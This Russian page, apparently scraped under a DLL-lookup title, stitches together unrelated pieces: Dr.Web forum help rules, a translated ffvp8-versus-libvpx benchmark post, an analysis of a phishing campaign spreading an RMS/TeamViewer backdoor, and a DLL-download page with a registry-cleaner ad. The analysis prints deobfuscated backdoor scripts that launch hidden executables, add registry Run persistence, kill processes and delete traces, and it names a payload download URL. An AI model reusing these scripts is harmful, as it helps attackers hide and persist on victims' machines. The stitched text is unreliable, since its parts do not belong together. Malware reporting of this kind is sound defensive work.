Vp8encoder dll что это
Нахватали вирусов на компьютер, не запускается KVRT (Kaspersky Virus Removal Tool).
Брат умудрился найти вирусы под видом драйверов и заразить ими компьютер, на котором не стоит антивирус, т. к. комп слабый. KVRT не запускается. Есть подозрение, что не все угрозы есть в базах. Будете смотреть логи?
1. Если Вы подозреваете у себя на компьютере вирусную активность и хотите получить помощь в этом разделе,
2. Если у Вас при включении компьютера появляется окно с требованием перечислить некоторую сумму денег и при этом блокируется доступ к рабочему столу,
— попытайтесь найти коды разблокировки здесь https://www.drweb.com/xperf/unlocker/
— детально опишите как выглядит это окно (цвет, текст, количество кнопок, появляется ли оно до появления окна приветствия Windows или сразу же после включении компьютера);
— дождаться ответа аналитика или хелпера;
3. Если у Вас зашифрованы файлы,
Внимание! Услуга по расшифровке файлов предоставляется только лицензионным пользователям продуктов Dr.Web, у которых на момент заражения была установлена коммерческая лицензия Dr.Web Security Space не ниже версии 9.0, Антивирус Dr.Web для Windows не ниже версии 9.0 или Dr.Web Enterprise Security Suite не ниже версии 6.0. подробнее.
Что НЕ нужно делать:
— лечить и удалять найденные антивирусом вирусы в автоматическом режиме или самостоятельно. Можно переместить всё найденное в карантин, а после спросить специалистов или не предпринимать никаких действий, а просто сообщить название найденных вирусов;
— переустанавливать операционную систему;
— менять расширение у зашифрованных файлов;
— очищать папки с временными файлами, а также историю браузера;
— использовать самостоятельно без консультации с вирусным аналитиком Dr. Web дешифраторы из «Аптечки сисадмина» Dr. Web;
— использовать дешифраторы рекомендуемые в других темах с аналогичной проблемой.
Для этого проделайте следующее:
Представляем самый быстрый декодер VP8 в мире: ffvp8
Ещё в тот момент, когда я писал первоначальный обзор VP8, я обратил внимание на то, что официальный декодер, libvpx, весьма медленный. Нет особенных причин, по которым он должен быть ощутимо быстрее хорошего декодера H.264, но и таким медленным ему тоже быть не с чего! Так что у меня возник план написать луший вариант для FFmpeg вместе с Рональдом Балтьи (Ronald Bultje) и Дэвидом Конрадом (David Conrad). Эта реализация декодера должна была разрабатываться сообществом и быть свободной с самого начала, в отличии от свалки проприетарного кода, которую представла собой библиотека libvpx. Несколько недель назад декодер был достаточно завершен для обеспечения бинарной совместимости видеопотока с libvpx, что сделало его первой независимой и свободной реализацией декодера VP8. Теперь, когда мы завершили первый цикл оптимизаций, он должен был готов к использованию в реальных условиях. Я расскажу о деталях процесса разработки позже, а сейчас давайте перейдем к самой соли этого поста: результатам сравнительного тестирования производительности кодеков.
Мы тестировали декодер на двух 1080p клипах: Parkjoy, снятый вживую, и Sintel trailer, созданный на компьютере. Тестирование выполнялось так:
Мы использовали последнюю на момент этого поста сборку FFmpeg из SVN, последняя ревизия, содержащая оптимизации VP8 декодера была r24471.
Как показывают эти графики, ffvp8 значительно быстрее libvpx, в особенности, на 64-битных платформах. Даже на процессорах Atom он работает ощутимо быстрее, несмотря на то, что специально для Atom мы его ещё даже не оптимизировали. Во многих случаях от этой разницы в производительности будет зависеть, воспроизводится видео или нет, в особенности, в современных браузерах, движки которых отъедают значительную часть ресурсов процессора. Хотите, чтобы видео в VP8 играло быстрее? Новые версии плееров, основанные на FFmpeg (а это всем известный VLC и многие другие) будут включать библиотеку ffvp8. Хотите, чтобы видео в VP8 быстрее декодировалось в вашем браузере? Общайтесь с его разработчиками, и настаивайте, чтобы они использовали ffvp8 вместо libvpx. Я полагаю, что первым на использование ffvp8 перейдет Chrome, так как они уже используют libavcodec в своей подсистеме воспроизведения видео.
Помните, что разработка ffvp8 на этом не заканчивается, мы будем продолжать улучать и ускорять его. У нас все еще есть очередь оптимизаций, до сих пор не внесенных в основную ветку разработки.
Разработка ffvp8
Первая задача, за которую взялись Дэвид и Рональд, заключалась в воссоздании ядра декодера и доведении его до бинарной совместимости потока с libvpx. Это было непросто, учитывая неполность официальной спецификации. Многие части спецификации вообще были неправильными и противоречили коду libvpx. И уж конечно никак не помог нашей работе тот факт, что набор официальных тестов совместимости даже не покрывает все особенности, которые использует официальный кодер! Для того, чтобы как-то работать дальше при таком положении вещей, нам пришлось начать добавлять свои собственные тесты. Но я уже жаловался на недостаточное качество спецификаций в своих предыдущих постах, так что давайте перейдём к нюансам.
Следующим шагом стало добавление кода SIMD для всех важных функций DSP. В основном нагрузку на процессор в декодере VP8 создает компенсация движения и фильтр деблокинга (компенсации артефактов кодирования, пер.) — так же, как и в H.264. Но, в отличие от H.264, фильтр деблокинга полагается на внутреннюю арифметику с насыщением, которая ничего не стоит в SIMD-реализации, но весьма «прожорлива» в отношении процессора в реализации на C. Разумеется, ни то ни другое не представляет серьезной проблемы, так как во всех нормальных кодеках эти процессы реализованы в виде кода SIMD.
Я помогал Рональду с SIMD для x86, а также написал большую часть компенсации движения, внутреннего предсказания и часть обратных преобразований. Рональд написал оставшуюся часть обратных преобразований и часть компенсации движания. Кроме того, он сделал самую трудную часть: фильтр деблокинга. Эти фильтры — всегда сложная часть, так как в каждом кодеке они разные. Реализация компенсации движения, для сравнения, обычно не слишком отличается в разных кодеках: 6-tap фильтр в любом случае будет 6-tap фильтром, и разница обычно только в коэффициентах.
Затем последовала SIMD-оптимизация кода на C, выполнение которого все еще занимало значительную часть времени декодирования. Одна из моих самых больших оптимизаций заключалась в добавлении «умной» предвартельной загрузки, сокращающей количество «промахов» кэша. ffvp8 предзапрашивает кадры, на которые ссылается текущий («ПРЕДЫДУЩИЙ», «ЗОЛОТОЙ» И «АЛЬТЕРНАТИВНАЯ ССЫЛКА», они же PREVIOUS, GOLD и ALTREF), но только тогда, когда они действительно ощутимо используются в данном кадре. Это позволяет нам предзапрашивать все, что нам нужно, и не запрашивать то, что мы вряд ли используем. libvpx, как правило, кодирует кадры, которые почти никогда (но не стоит понимать это как «совсем никогда») не используют кадры GOLDEN или ALTREF, так что эта оптимизация значительно сокращает время, затрачиваемое на предзапросы во многих реальных видеороликах. Кроме того, мы сделали столько оптимизаций в разных местах кода, что все их здесь не перечислить, как, например, оптимизация энтропийного декодера, которую сделал Дэвид. Я также хотел бы поблагодарить Эли Фридмана за его неоценимую помощь в тестировании производительности большинства этих улучшений.
Что дальше? Ассемблерный код Altivec (PPC) фактически отсутствует, есть всего несколько функций из кода компенсации движения Дэвида. Ассемблерного кода для NEON (ARM) нет вообще, а нам он нужен, чтобы работать быстро и на мобильных устройствах. Конечно, все это будет со временем, и, как обычно, мы всегда рады патчам!
Вот цифры, соответствующие приведенным выше графикам, в кадрах в секунду и со стандартными ошибками:
Core i7 620QM (1.6Ghz), Windows 7, 32-bit:
Parkjoy ffvp8: 44.58 ± 0.44
Parkjoy libvpx: 33.06 ± 0.23
Sintel ffvp8: 74.26 ± 1.18
Sintel libvpx: 56.11 ± 0.96
Core i5 520M (2.4Ghz), Linux, 64-bit:
Parkjoy ffvp8: 68.29 ± 0.06
Parkjoy libvpx: 41.06 ± 0.04
Sintel ffvp8: 112.38 ± 0.37
Sintel libvpx: 69.64 ± 0.09
Core 2 T9300 (2.5Ghz), Mac OS X 10.6.4, 64-bit:
Parkjoy ffvp8: 54.09 ± 0.02
Parkjoy libvpx: 33.68 ± 0.01
Sintel ffvp8: 87.54 ± 0.03
Sintel libvpx: 52.74 ± 0.04
Core Duo (2Ghz), Mac OS X 10.6.4, 32-bit:
Parkjoy ffvp8: 21.31 ± 0.02
Parkjoy libvpx: 17.96 ± 0.00
Sintel ffvp8: 41.24 ± 0.01
Sintel libvpx: 29.65 ± 0.02
Atom N270 (1.6Ghz), Linux, 32-bit:
Parkjoy ffvp8: 15.29 ± 0.01
Parkjoy libvpx: 12.46 ± 0.01
Sintel ffvp8: 26.87 ± 0.05
Sintel libvpx: 20.41 ± 0.02
Примечания переводчика
Некоторые термины остались для меня загадкой, например, если кто-нибудь сможет подсказать верный русский перевод 6-tap filter, я буду очень признателен.
Ниже, в комментариях к заметке, автор дает ответы на некоторые вопросы читателей, часть которых я счел уместным привести и здесь. Это не прямой перевод вопросов и ответов, скорее, краткое изложение их сути.
В: Сможет ли ffvp8 использовать улучшения, которые вносятся в libvpx?
О: Фактически, все оптимизации, которые показались интересными — уже взяты оттуда. Но надо понимать, что простым слиянием (merge) исходников тут не обходится, поскольку архитектура у декодеров принципиально различается.
В: Нет ли опасности, что ffvp8 не сможет поддерживать совместимость с экспериментальной веткой разработки libvpx?
О: Такая задача и не стоит, так как на данный момент экспериментальная ветка не предназначена для использования в реальных условиях. Не гарантируется даже совместимость экспериментальной ветки с текущей libvpx.
В: Кто спонсирует разработку FFmpeg?
О: Целиком проект — никто, но некоторые разработчики получают деньги за реализацию фич, необходимых конкретным заказчикам. Насколько известно автору, разработка ffvp8 была полностью некоммерческой.
В: Увеличение производительности связано с одним каким-то глобальным недостатком libvpx, или просто сложилось множество оптимизаций тут и там?
О: В целом, скорее второе. Но основной прирост производительности дало то, что libvpx проходит по кадру несколько раз (аналогичным образом поступают и все предыдущие кодеки On2), а ffvp8 делает все операции за один проход.
В: Планируется ли разработка собственного энкодера VP8 в FFmpeg?
О: Это очень большая работа, и, если честно, я сомневаюсь, что она когда-нибудь будет сделана. Фактически, единственный «родной» энкодер, который есть в FFmpeg — это энкодер mpeg, и вряд ли найдется способ сделать энкодер VP8 только на базе имеющегося фреймворка, во всяком случае, простым этот способ не будет. Но, конечно, если кто-то хочет попробовать…
В: Но если для FFmpeg единственный родной энкодер — mpeg, тогда каким образом эта библиотека поддерживает кодирование видео не только в mpeg, но и в WMV 7/8, H.261/3 и другие форматы без использования других библиотек?
О: Все эти энкодеры фактически используют внутренний mpeg энкодер с небольшими вариациями для каждого формата. Следует иметь в виду, что энкодер — большая и сложная программа, состоящая из многих частей, и единственная значительная разница между энкодерами перечисленных форматов — это алгоритм энтропийного кодирования и заголовки. И то и другое может быть легко заменено без необходимости менять весь остальной код. Вот почему в FFmpeg столько «энкодеров», которые все основаны на основном энкодере mpeg: фактически, разница между этими алгоритмами не столь существенна (все они представляют собой подобия MPEG, основанные на дискретном косинусном преобразовании блоков 8х8 пикселей), так что для всех них может быть использован в значительной степени один и тот же код.
Этим, кстати, и объясняется отсутствие в FFmpeg энкодера WMV9 — этот алгоритм слишком отличается от предыдущих версий, чтобы его можно было легко реализовать на базе того, что есть.
В: Может ли ffvp8 также декодировать VP4, 5, 6 и 7?
О: Может, но только VP4, 5 и 6, так как никто пока не подвергал VP7 обратной разработке. Но, скорее всего, поддержка VP7 появится в ближайшем будущем, учитывая открытие VP8, так как есть у меня подозрение, что VP7 и VP8 по большей части совпадают.
В: Где можно взять свежие SVN-сборки Media Player Classic HomeCinema и FFDshow tryouts, чтобы посмотреть самим на новый декодер под Windows?
О: xhmikosr.1f0.de
Если возникнут какие-нибудь вопросы к автору заметки, я готов перевести их и опубликовать в его блоге.
Новый вариант Stuxnet использовался для целевой атаки на российскую компанию
Злоумышленники рассылают вредоносные письма от имени АО «ВНИИАМ».
В качестве отправителя значится некое акционерное общество «ВНииАтом». Указанный в письме адрес в Москве практически соответствует адресу реально существующему Всероссийскому научно-исследовательскому и проектно-конструкторскому институту атомного и энергетического машиностроения (АО «ВНИИАМ»). Не соответствуют лишь номер дома и телефонный номер.
АО «ВНИИАМ» принадлежат два домена: внииам.рф и vdvniiam.ru. Использованный в письме домен был зарегистрирован 11 июля 2015 года. В настоящее время сайт vniiatom.ru недоступен, однако, по словам источника, еще несколько дней назад он существовал и выглядел точно так же, как оригинальный внииам.рф.
Ссылка в фишинговом письме ведет на файл Izveshhenie_7889-08-15.xls. После включения макросов в папку temp сохраняется js файл (JS.DownLoader.432), который пытается скачать файл canterus.esy.es/kartinka.bmp, представляющий собой архив с следующим содержимым:
avicap32.dll
install.exe
SkypeUpdateSvc.exe
TeamViewer_Desktop.exe
TeamViewer_Resource_en.dll
tv_w32.dll
tv_w32.exe
tv_x64.dll
tv_x64.exe
tvr.cfg
vpn.exe
apiwinmscore86.vbe
core.exe
windows.zip
После снятия двух слоев обфускации apiwinmscore86.vbe выглядит так:
Set oShell = CreateObject(«WScript.Shell»)
Как сообщает источник, update.exe представляет собой RAR-SFX архив, который содержит файлы от RMS 6.3.0.5, REG-файл с настройками и другие файлы бэкдора.
Logs [dir]
system [dir]
system\core.sys
system\kernel128.vbe
system\set.bat
system\set.vbs
system\system.exe
system\system.vbe
system\winapi.exe
Russian.lg
rutserv.exe
sys32.sys
sys64.sys
vp8encoder.dll
После декодирования kernel128.vbe имеет вид:
Set oShell = CreateObject(«WScript.Shell»)
oShell.run «C:\\kernel\system\system.exe», 0
Set oShell = CreateObject(«WScript.Shell»)
oShell.run «C:\\kernel\system\winapi.exe», 0
oShell.run «C:\\kernel\rutserv.exe», 0
Тем не менее, какие-либо иконки RMS отсутствуют. По запросу RMS 6.3.0.5 Google выдает ссылки преимущественно на билдер RMS, после которого RMS будет работать абсолютно скрытно.
Файл winapi.exe перебирает 30 процессов через Process32First/Process32Next в поисках «rutserv.exe» с целью выставить ему дескриптор безопасности SE_KERNEL_OBJECT, а также ищет окно «RMS Agent» и скрывает его.
Задачей system.exe этого является сокрытие файлов бэкдора и установка его в автозагрузку.
Файлы бэкдора размещаются в каталоге «C:\kernel», которому вредонос выставляет системный и скрытый атрибуты, после чего копирует свои файлы:
kernel128.vbe Expand
source
system.vbe Expand
source
cmd.exe /c «copy C:\\kernel\\system\\core.sys C:\\kernel\\kernelda.sys»
cmd.exe /c «rename C:\\kernel\\kernelda.sys core.sys»
Далее бэкдор регистрирует VBE скрипт в автозагрузку через реестр:
HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run ‘KernelSystem’ =
‘C:\\kernel\\system\\system.vbe’
И запускает VBS скрипт, который через батник подготовит RMS к использованию:
cmd.exe /c start C:\\kernel\\system\\set.vbs
VBS:
Set oShell = WScript.CreateObject («WSCript.shell»)
dim twettwerter
dim adsdfgsgsgds
dim ysdggsgdsgsgdsg
oShell.run «C:\\kernel\\system\\set.bat», 0
dim jdsgsgsgsgs
dim iuasggdsgdsgsd
Set oShell = Nothing
dim assdgsgsgdsg
dim asfasfaf
BAT (Trojan.Starter.5023):
taskkill /f /im rfusclient.exe
taskkill /f /im rutserv.exe
taskkill /f /im rfusclient.exe
reg delete \»HKEY_CURRENT_USER\\Software\\TektonIT\» /f
reg import C:\\kernel\\111.reg
reg import C:\\kernel\\111.reg
start C:\\kernel\\system\\system.vbe
del C:\\kernel\\system\\system.exe
del C:\\kernel\\system\\msvcp110.dll
del C:\\kernel\\system\\msvcr110.dll
del C:\\kernel\\system\\zlib1.dll
del C:\\kernel\\sys64.sys
del C:\\kernel\\111.reg
del C:\\kernel\\sys32.sys
Собственно элементами BackDoor.TeamViewer.43 являются avicap32.dll, tvr.cfg и vpn.exe. Все остальные файлы – это составляющие TeamViewer, которые снабжены валидной подписью. Бэкдор собирает информацию о зараженном компьютере и отправляет ее на управляющий сервер. Вредонос может выполнять ряд команд, поступивших от C&C-сервера. Полученные в команде параметры бэкдор сохраняет в конфигурационном файле.
Исправить ошибки DLL Vp8decoder.dll и скачать
Последнее обновление: 07/08/2021 [Время на прочтение:
Файл vp8decoder.dll использует расширение DLL, в частности известное как файл WebM VP8 Decoder Filter. Классифицируется как файл Win64 DLL (Библиотека динамической компоновки), созданный для WebM VP8 Decoder Filter компанией Corel.
Файл vp8decoder.dll впервые был выпущен в ОС Windows 10 02/12/2019 с Corel VideoStudio Pro 2019. Согласно нашим сведениям, это единственная версия файла от компании Corel.
Ниже приведены исчерпывающие сведения о файле, инструкции для простого устранения неполадок, возникших с файлом DLL, и список бесплатных загрузок vp8decoder.dll для каждой из имеющихся версий файла.
Рекомендуемая загрузка: исправить ошибки реестра в WinThruster, связанные с vp8decoder.dll и (или) Corel VideoStudio Pro.
Совместимость с Windows 10, 8, 7, Vista, XP и 2000
Средняя оценка пользователей
